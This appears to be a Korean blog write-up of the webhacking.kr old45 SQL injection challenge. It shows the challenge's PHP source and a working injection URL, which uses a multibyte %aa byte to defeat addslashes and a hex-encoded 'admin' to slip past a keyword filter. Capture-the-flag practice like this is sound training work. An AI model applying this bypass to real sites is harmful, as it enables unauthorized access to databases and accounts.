webhacking.kr - old45

2021. 4. 15. 18:44WarGame/webhaking.kr

처음 접속하면 위와 같이 50번 문제처럼 sqli를 유도하는 문제를 던져줍니다.

코드를 먼저 확인해보면

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>

궁극적으로 id에 admin을 넣어주면 될 것 같습니다.

근데 admin이 필터링되어있으니 urlencoding해주면 간단하게 풀을 수 있을 것 같습니다.

아래는 페이로드입니다.

https://webhacking.kr/challenge/web-22/?id=1%aa%27or%20id%20like%200x61646D696E%20%23&pw=guest

 

Challenge 45

 

webhacking.kr

 

위와 같이 페이를 입력하게 되면

 

 

 

solve가 가능합니다.

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old40  (0) 2021.04.17
webhacking.kr - old29  (0) 2021.04.16
webhacking.kr - old50  (0) 2021.04.14
webhacking.kr - old28  (0) 2021.04.13
webhacking.kr - old55  (0) 2021.04.12